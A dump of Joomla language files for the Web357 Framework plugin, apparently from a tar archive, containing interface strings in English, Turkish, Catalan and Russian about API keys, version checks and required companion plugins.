Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>here</a>." ; Monthly Archive - System Plugin is required ; MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="The <strong>'Monthly Archive - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>here</a>." ; Fix 404 Error Links - System Plugin is required ; FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="The <strong>'Fix 404 Error Links - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>here</a>." ; JMailLog - System Plugin is required ; JMAILLOG_PLUGIN_IS_REQUIRED="The <strong>'JMailLog - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>here</a>." ; Limit Active Logins - System Plugin is required ; LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - System Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Limit Active Logins - User Plugin is required ; LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="The <strong>'Limit Active Logins - User Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>here</a>." ; Failed Login Attempts - Authentication Plugin is required ; FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="The <strong>'Failed Login Attempts - Authentication Plugin'</strong> is a mandatory plugin for this and other Web357 extensions to function correctly. Without it, the extension will not work as expected. Please activate it from the <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin Manager</strong></a>, or download it for free from <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>here</a>." language/tr-TR/tr-TR.plg_system_web357framework.sys.ini000060400000001206151721520510016756 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="Web357 Framework Joomla eklentisi, tüm Web357 eklentileri tarafından kullanılan gerekli bir yardımcı araçtır. Eklenti dosyalarına, eklenti güncellemelerinin yalnızca tek bir yerde, yani eklentinin kendisinde uygulanmasını sağlayan ve bunların Web357 uygulamalarını ve eklentilerini kullanan herhangi bir harici siteye otomatik olarak sunulmasını sağlayan kod ve PHP işlevleri ekledik." ; Only for Joomla! 2.5.x COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Açıklama" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Açıklama" language/tr-TR/tr-TR.plg_system_web357framework.ini000060400000031704151721520510016147 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="Web357 Framework Joomla eklentisi, tüm Web357 eklentileri tarafından kullanılan gerekli bir yardımcı araçtır. Eklenti dosyalarına, eklenti güncellemelerinin yalnızca tek bir yerde, yani eklentinin kendisinde uygulanmasını sağlayan ve bunların Web357 uygulamalarını ve eklentilerini kullanan herhangi bir harici siteye otomatik olarak sunulmasını sağlayan kod ve PHP işlevleri ekledik." PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p><strong>Web357 Framework Joomla Uygulama Eki</strong> tüm <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla Eklentilerini </a> desteklemek için tasarlanmış yaşamsal bir yardımcı araçtır. Bu eklenti, güncellemelerin uygulanmasını merkezileştirerek değişikliklerin tek bir konumda (eklentinin kendisi) uygulanmasını ve Web357 uygulamalarını ve eklentilerini kullanan tüm harici sitelere otomatik olarak sunulmasını sağlar.</p><h4>Temel Özellikler</h4><ul><li><strong>getCountry():</strong> Geoplugin.net kullanarak bir kullanıcının ülkesini tespit eder.</li><li><strong>getOS():</strong> Bir kullanıcının işletim sistemini tanımlar (örneğin, Windows, Linux, Android, iOS, vb.).</li><li><strong>getBrowser():</strong> Bir kullanıcının tarayıcısını tanır (örneğin, Firefox, Chrome, Safari, Opera, Internet Explorer, vb.)</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>Daha Çok Ayrıntı</a> <a href='https://www.web357.com/web357-framework-joomla-plugin#changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Değişiklik Günlüğü</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Destek</a></p></div></div>" ; Headers for Parameters W357FRM_HEADER_VERSION_CHECK="Sürüm Denetimi" W357FRM_HEADER_JED_REVIEW_AND_RATING="JED İncelemesi ve Puanı ⭐⭐⭐⭐⭐" W357FRM_HEADER_DESCRIPTION="Açıklama" W357FRM_HEADER_ABOUT_WEB357="Web357 Hakkında" W357FRM_HEADER_PARAMETERS="Parametreler" ; Version Check W357FRM_YOUR_CURRENT_VERSION_IS="Mevcut Sürümünüz" W357FRM_VIEW_THE_CHANGELOG="Değişiklik Günlüğü" W357FRM_UP_TO_DATE="Sürümünüz güncel. Tebrikler!" W357FRM_UPDATE_TO_THE_LATEST_VERSION="Bu eklentiyi en son sürüme güncellemelisiniz" W357FRM_GO_TO_DOWNLOAD_AREA="İndirme Alanından İndirin" W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Joomla Güncelleme Yöneticisi aracılığıyla güncelleyin." W357FRM_OR="veya" ; Description W357FRM_LIVE_DEMO="Canlı Demo" W357FRM_PRODUCT_S_PAGE="Ürün Sayfası" W357FRM_SETTINGS="Ayarlar" W357FRM_VIEW_DEMO="Demo Görüntüle" W357FRM_MORE_DETAILS="Daha Çok Ayrıntı" W357FRM_DOCUMENTATION="Belgeler" W357FRM_CHANGELOG="Değişiklik Günlüğü" W357FRM_SUPPORT="Destek" W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Bu eklenti için açıklama mevcut değil. Lütfen <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a> adresinden en son joomla eklentisini indirdiğinizden emin olun." ; JED Review W357FRM_LEAVE_REVIEW_ON_JED="Lütfen Joomla Eklentileri Dizinine puan ve yorum yazın: <a href='%s' target='_blank'><strong>%s</strong> JED Sitesinde</a> - Teşekkür ederiz!" W357FRM_ASK_FOR_JED_REVIEW="<a href='%s' target='_blank'>Joomla Extensions Directory</a> adresinde bir inceleme bırakırsanız çok seviniriz. Teşekkürler! 💗" ; API KEY W357FRM_APIKEY_HEADER="API Anahtarı (Sadece Web357 Ücretli Eklentileri İçin)" W357FRM_APIKEY="API Anahtarı" W357FRM_APIKEY_DESCRIPTION="Ücretli Web357 eklentilerini güncellemek için Web357 Lisans Anahtarını girmeniz gerekir.<br>Lisans Anahtarını Web357.com'daki hesap ayarlarınızda, <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 Lisans Anahtarı Yöneticisi</strong></a> bölümünde bulabilirsiniz.<br>Lisans anahtarınız hakkında daha fazla bilgi için lütfen <a href='//www.web357.com/apikey' target='_blank'>bu sayfaya</a> bakın." W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Lütfen Web357 API Anahtarınızı <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework Uygulama Eki Ayarları</strong></a> alanına girin." W357FRM_APIKEY_WARNING="Bir indirme hatası varsa, bunun nedeni muhtemelen Web357 API Anahtarının ayarlanmamış olmasıdır, bunu <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework eklenti ayarlarından</strong></a> yapabilirsiniz. Daha fazla ayrıntı için lütfen <a href='//www.web357.com/apikey' target='_blank'><strong>API Anahtarı dokümantasyon sayfasına</strong></a> bakın." W357FRM_APIKEY_MISSED="Lütfen Web357 API Anahtarınızı <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>'e ekleyin. API Anahtarını Hesap ayarlarınızda <a href='my-account/downloads' target='_blank'>İndirmeler</a> bölümünde bulabilirsiniz." W357FRM_DOWNLOAD_KEY_MISSING="İndirme Anahtarı Eksik" W357FRM_DOWNLOAD_KEY_MISSING_DESC="%s eklentisini güncellemek için Web357 Framework eklenti ayarlarına İndirme API Anahtarınızı girmeniz gerekecektir." W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="Lisans Anahtarını Web357.com'daki hesap ayarlarınızda, <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 Lisans Anahtarı Yöneticisi</strong></a> bölümünde bulabilirsiniz." W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Web357 Api Anahtarını Girin" W357FRM_OK="Tamam" W357FRM_MISSING="Eksik" W357FRM_DOWNLOAD_KEY="Anahtarı İndir" W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="API Anahtarınız <strong>%s</strong> etkin ve onaylandı." W357FRM_APIKEY_INVALID="API Anahtarı <strong>%s</strong> geçersiz.<br>Lütfen Api Anahtarını <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 hesabınızdan</a> doğru şekilde kopyaladığınızdan emin olun.<br>Hala sorun yaşıyorsanız lütfen bize support@web357.com adresinden e-posta gönderin." W357FRM_SAVE_PLUGIN_SETTINGS="Lütfen eklenti ayarlarını kaydedin." W357FRM_INACTIVE_SUBSCRIPTION="Aboneliğinizin süresi dolmuş gibi görünüyor ve herhangi bir Web357 ücretli eklentisini güncelleyemiyorsunuz.<br> Lütfen, eklenti güncellemelerine erişebilmek için <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 aboneliğinizi yenileyin</a>. Herhangi bir sorunuz varsa, lütfen bize support@web357.com adresinden e-posta göndermekten çekinmeyin." W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Web357'nin Lisans Yöneticisi ile yapılan çağrı başarısız oldu. <br>Lütfen daha sonra tekrar deneyin veya support@web357.com adresinden bize ulaşın." W357FRM_APIKEY_NOT_ACTIVATED="API Anahtarınız <strong>%s</strong> geçerli, ancak henüz etkinleştirilmedi.<br>Etkinleştirmek için aşağıdaki düğmeye tıklayın." W357FRM_ACTIVATE_API_KEY="API Anahtarını Etkinleştir" ; Other W357FRM_ONLY_IN_PRO="Sadece %s sürümünde mevcuttur." W357_ERROR_UNINSTALL_FIRST="Ücretsiz sürümü yüklemeden önce %s PRO sürümünü kaldırmanız gerekir." ; Element: checkextension W357FRM_EXTENSION_IS_ACTIVE="TAMAM. '%s' eklentisi etkin ve kullanıma hazır." W357FRM_EXTENSION_IS_NOT_ACTIVE="Hata: '%s' eklentisi etkinleştirilmemiş veya henüz yüklenmemiş." ; Fieldsets COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Belirli Kullanıcı Gruplarına Birden Fazla Yönetici Atayın" ; Login as User - System Plugin is required LOGINASUSER_PLUGIN_IS_REQUIRED="<strong>'Kullanıcı Olarak Giriş Yap - Sistem Uygulama Eki'</strong>, bu ve diğer Web357 eklentilerinin doğru çalışması için zorunlu bir eklentidir. Bu olmadan, eklenti beklendiği gibi çalışmayacaktır. Lütfen eklentiyi <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Kullanıcı Olarak Giriş Yap Uygulama Eki Ayarları'><strong>Eklenti Yöneticisi</strong></a> alanından etkinleştirin veya <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>buradan</a> ücretsiz indirin." ; Monthly Archive - System Plugin is required MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="<strong>'Aylık Arşiv - Sistem Uygulama Eki'</strong>, bu ve diğer Web357 eklentilerinin doğru çalışması için zorunlu bir eklentidir. Bu olmadan, eklenti beklendiği gibi çalışmayacaktır. Lütfen eklentiyi <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Aylık Arşiv - Sistem Uygulama Eki Ayarları'><strong>Eklenti Yöneticisi</strong></a> alanından etkinleştirin veya <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>buradan</a> ücretsiz indirin." ; Fix 404 Error Links - System Plugin is required FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="<strong>'Fix 404 Error Links - System Plugin'</strong> bu ve diğer Web357 eklentilerinin doğru çalışması için zorunlu bir eklentidir. Bu olmadan, eklenti beklendiği gibi çalışmayacaktır. Lütfen eklentiyi <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Eklenti Yöneticisi</strong></a> alanından etkinleştirin veya <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>buradan</a> ücretsiz indirin." ; JMailLog - System Plugin is required JMAILLOG_PLUGIN_IS_REQUIRED="<strong>'JMailLog - System Plugin'</strong> bu ve diğer Web357 eklentilerinin doğru çalışması için zorunlu bir eklentidir. Bu olmadan, eklenti beklendiği gibi çalışmayacaktır. Lütfen eklentiyi <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Eklenti Yöneticisi</strong></a> alanından etkinleştirin veya <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>buradan</a> ücretsiz indirin." ; Limit Active Logins - System Plugin is required LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="<strong>'Limit Active Logins - System Plugin'</strong> bu ve diğer Web357 eklentilerinin doğru çalışması için zorunlu bir eklentidir. Bu olmadan, eklenti beklendiği gibi çalışmayacaktır. Lütfen eklentiyi <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins Uygulama Eki Ayarları'><strong>Eklenti Yöneticisi</strong></a> alanından etkinleştirin veya <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>buradan</a> ücretsiz indirin." ; Limit Active Logins - User Plugin is required LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="<strong>'Limit Active Logins - User Plugin'</strong> bu ve diğer Web357 eklentilerinin doğru çalışması için zorunlu bir eklentidir. Bu olmadan, eklenti beklendiği gibi çalışmayacaktır. Lütfen eklentiyi <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins Uygulama Eki Ayarları'><strong>Eklenti Yöneticisi</strong></a> alanından etkinleştirin veya <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>buradan</a> ücretsiz indirin." ; Failed Login Attempts - Authentication Plugin is required FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="<strong>'Failed Login Attempts - Authentication Plugin'</strong> bu ve diğer Web357 eklentilerinin doğru çalışması için zorunlu bir eklentidir. Bu olmadan, eklenti beklendiği gibi çalışmayacaktır. Lütfen eklentiyi <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts Uygulama Eki Ayarları'><strong>Eklenti Yöneticisi</strong></a> alanından etkinleştirin veya <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>buradan</a> ücretsiz indirin." language/ca-ES/ca-ES.plg_system_web357framework.ini000060400000011275151721520510016010 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="El connector Web357 Framework de Joomla! és una eina d'ajuda necessària que utilitzen totes les extensions Web357. Dins dels fitxers del connector, hem inclòs codi i funcions PHP que permeten que les actualitzacions del connector només s'apliquin en un sol lloc, és a dir, el connector en si mateix, i garanteixen que es desplegaran automàticament a qualsevol lloc extern que utilitzi les aplicacions i connectors Web357." ; Headers for Parameters W357FRM_HEADER_VERSION_CHECK="Comprovació de la versió" W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Review & Rating ⭐⭐⭐⭐⭐" W357FRM_HEADER_DESCRIPTION="Descripció" W357FRM_HEADER_ABOUT_WEB357="Sobre Web357" W357FRM_HEADER_PARAMETERS="Paràmetres" ; Version Check W357FRM_YOUR_CURRENT_VERSION_IS="La teva versió és" W357FRM_VIEW_THE_CHANGELOG="changelog" W357FRM_UP_TO_DATE="La teva versió està actualitzada. Felicitats!" W357FRM_UPDATE_TO_THE_LATEST_VERSION="Has d'actualitzar aquesta extensió a la versió més recent" W357FRM_GO_TO_DOWNLOAD_AREA="Descarrega'l des de l'àrea de descàrregues" W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Actualitza a través del gestor d'actualitzacions de Joomla!" W357FRM_OR="o" ; JED Review W357FRM_LEAVE_REVIEW_ON_JED="Si us plau, publiqueu una puntuació i una ressenya al Directori d'extensions Joomla!: <a href='%s' target='_blank'><strong>%s</strong> al JED</a> - Gràcies!" ; CORE PLUGIN_WEB357FRAMEWORK_REQUIRED="<div style='text-align:center; font-family: Arial, Helvetica, sans-serif; line-height: 25px; color: #7f8c8d; width: 386px; margin: 100px auto 0 auto;'><div om_plugins&view=pltyle='border-bottom: 1px solid #bdc3c7; padding-bottom: 30px; margin-bottom: 30px;'><img src='https://app.web357.com/images/web357-logo.jpg' alt='web357 framework logo' width='250' height='64' /></div><p style='font-size: 18px;'>Cal el connector Web357 Framework<br />per a aquesta extensió de joomla!</p><p style='font-size: 14px;'>Si us plau, descarregueu-lo de <a style='color: #e74c3c; text-decoration: none;' href='//www.web357.com/my-account/downloads' target='_blank'>web357.com/my-account/downloads</a></p></div>" ; API KEY W357FRM_APIKEY_HEADER="API Key (només per a extensions comercials Web357)" W357FRM_APIKEY="API Key" W357FRM_APIKEY_DESCRIPTION="Per actualitzar les extensions comercials de Web357, heu d'introduir la clau de llicència de Web357.<br>Podeu trobar la clau de llicència a la configuració del vostre compte a Web357.com, a <a href='//www.web357.com/my -account/web357-license-manager' target='_blank'><strong>Secció Web357 License Key Manager</strong></a>.<br>Per obtenir més detalls sobre la vostra clau de llicència, consulteu <a href= '//www.web357.com/apikey' target='_blank'>aquesta pàgina</a>." W357FRM_APIKEY_WARNING="Si hi ha hagut un error de descàrrega, és probable que sigui perquè la clau de l'API Web357 no s'ha configurat, podeu fer-ho a <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357% 20Framework'><strong>Configuració del connector de Web357 Framework</strong></a>. Per obtenir més informació, consulteu la <a href='//www.web357.com/apikey' target='_blank'><strong>pàgina de documentació de la clau de l'API</strong></a>." W357FRM_APIKEY_MISSED="Si us plau, afegiu la vostra clau d'API Web357 al <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a>. Podeu trobar la clau de l'API a la configuració del vostre compte a la secció <a href='my-account/downloads' target='_blank'>Baixades</a> ." W357FRM_DOWNLOAD_KEY_MISSING="Falta la clau de descàrrega" W357FRM_DOWNLOAD_KEY_MISSING_DESC="Per actualitzar el %s, haureu d'introduir la vostra clau d'API de descàrrega a la configuració del connector de Web357 Framework." W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="Pots trobar la clau de llicència a la configuració del teu compte a Web357.com, a <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Llicència Web357 Secció Gestor de claus</strong></a>." W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Introduïu la clau API de Web357" W357FRM_OK="OK" W357FRM_MISSING="Falta" W357FRM_DOWNLOAD_KEY="Clau de descàrrega" ; Other W357FRM_ONLY_IN_PRO="Disponible només a la versió %s." ; Element: checkextension W357FRM_EXTENSION_IS_ACTIVE="OK. L'extensió '%s' està activa i llesta per al seu ús." W357FRM_EXTENSION_IS_NOT_ACTIVE="Error: l'extensió '%s' no està habilitada o encara no està instal·lada." ; Fieldsets COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Assigna diversos administradors a grups d'usuaris específics" language/ca-ES/ca-ES.plg_system_web357framework.sys.ini000060400000001237151721520510016622 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="System - Web357 Framework" PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="El connector Web357 Framework de Joomla! és una eina d'ajuda necessària que utilitzen totes les extensions Web357. Dins dels fitxers del connector, hem inclòs codi i funcions PHP que permeten que les actualitzacions del connector només s'apliquin en un sol lloc, és a dir, el connector en si mateix, i garanteixen que es desplegaran automàticament a qualsevol lloc extern que utilitzi les aplicacions i connectors Web357." ; Only for Joomla! 2.5.x COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Descripció" COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Descripció" language/ru-RU/ru-RU.plg_system_web357framework.ini000060400000032425151721520510016154 0ustar00; Defaults PLG_SYSTEM_WEB357FRAMEWORK="Система - Фреймворк Web357" ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a vital helper tool designed to support all Web357 extensions. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins." ; PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>The <strong>Web357 Framework Joomla! plugin</strong> is a vital helper tool designed to support all <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357 Joomla! Extensions</a>. This plugin centralizes the application of updates, ensuring changes are implemented in a single location (the plugin itself) and automatically rolled out to all external sites using Web357 applications and plugins.</p><h4>Key Features</h4><ul><li><strong>getCountry():</strong> Detects the country of a user using geoplugin.net.</li><li><strong>getOS():</strong> Identifies the operating system of a user (e.g., Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Recognizes the browser of a user (e.g., Firefox, Chrome, Safari, Opera, Internet Explorer, etc.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>More Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Changelog</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Support</a></p></div></div>" ; Headers for Parameters W357FRM_HEADER_VERSION_CHECK="Проверка версии" W357FRM_HEADER_JED_REVIEW_AND_RATING="Отзыв и оценка в JED" W357FRM_HEADER_DESCRIPTION="Описание" W357FRM_HEADER_ABOUT_WEB357="О Web357" W357FRM_HEADER_PARAMETERS="Параметры" ; Version Check W357FRM_YOUR_CURRENT_VERSION_IS="Ваша текущая версия" W357FRM_VIEW_THE_CHANGELOG="Изменения" W357FRM_UP_TO_DATE="У вас актуальная версия. Поздравляем!" W357FRM_UPDATE_TO_THE_LATEST_VERSION="Вы должны обновить это расширение до последней версии" W357FRM_GO_TO_DOWNLOAD_AREA="Скачать с сайта" W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Обновление через менеджер обновлений Joomla!" W357FRM_OR="или" ; Description ; W357FRM_LIVE_DEMO="Live Demo" ; W357FRM_PRODUCT_S_PAGE="Product's Page" ; W357FRM_SETTINGS="Settings" ; W357FRM_VIEW_DEMO="View Demo" ; W357FRM_MORE_DETAILS="More Details" ; W357FRM_DOCUMENTATION="Documentation" ; W357FRM_CHANGELOG="Changelog" ; W357FRM_SUPPORT="Support" ; W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Description not available for this extension. Please ensure you have downloaded the latest version of this Joomla! extension from <a href='https://web357.com/joomla-extensions'>https://web357.com/joomla-extensions</a>." ; JED Review ; W357FRM_LEAVE_REVIEW_ON_JED="Please post a rating and a review at the Joomla! Extensions Directory: <a href='%s' target='_blank'><strong>%s</strong> in the JED</a> - Thank you!" ; W357FRM_ASK_FOR_JED_REVIEW="It would be much appreciated if you can leave a review on <a href='%s' target='_blank'>Joomla! Extensions Directory</a>. Thank you! 💗" ; API KEY W357FRM_APIKEY_HEADER="API-ключ (только для коммерческих расширений от Web357)" W357FRM_APIKEY="API-ключ" W357FRM_APIKEY_DESCRIPTION="Для обновления коммерческих расширений Web357 вам необходимо ввести лицензионный ключ Web357.<br>Лицензионный ключ вы можете найти в настройках своей учетной записи на Web357.com в разделе <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a>.<br>Более подробную информацию о вашем лицензионном ключе см. на <a href='//www.web357.com/apikey' target='_blank'>этой странице</a>." ; W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Please enter your Web357 API Key in the <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework plugin settings</strong></a>." W357FRM_APIKEY_WARNING="Если произошла ошибка загрузки, то, вероятно, это связано с тем, что API-ключ Web357 не был установлен, вы можете сделать это в <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>настройках плагина Фреймворк Web357</strong></a>. Для получения более подробной информации, пожалуйста, ознакомьтесь со страницей <a href='//www.web357.com/apikey' target='_blank'><strong>документации API Key</strong></a>." W357FRM_APIKEY_MISSED="Добавьте свой API-ключ Web357 в <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Фреймворк Web357</a>. API-ключ можно найти в настройках учетной записи, раздел <a href='my-account/downloads' target='_blank'>Загрузки</a>." W357FRM_DOWNLOAD_KEY_MISSING="Ключ загрузки не найден" W357FRM_DOWNLOAD_KEY_MISSING_DESC="Для обновления %s вам нужно ввести ключ загрузки API в настройках плагина Фреймворк Web357." W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="Вы можете найти лицензионный ключ в настройках аккаунта Web357.com, в разделе <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a>." W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Введите Web357 API-ключ" W357FRM_OK="OK" W357FRM_MISSING="Отсутствует" W357FRM_DOWNLOAD_KEY="Ключ загрузки" ; W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="Your API Key <strong>%s</strong> is active and validated." ; W357FRM_APIKEY_INVALID="The Api Key <strong>%s</strong> is invalid.<br>Please, ensure that you have copied correctly the Api Key from your <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357 account</a>.<br>If you still have issues, please, send us an email at support@web357.com." ; W357FRM_SAVE_PLUGIN_SETTINGS="Please, save the plugin settings." ; W357FRM_INACTIVE_SUBSCRIPTION="It seems that your subscription has been expired and you are not able to update any Web357 commercial 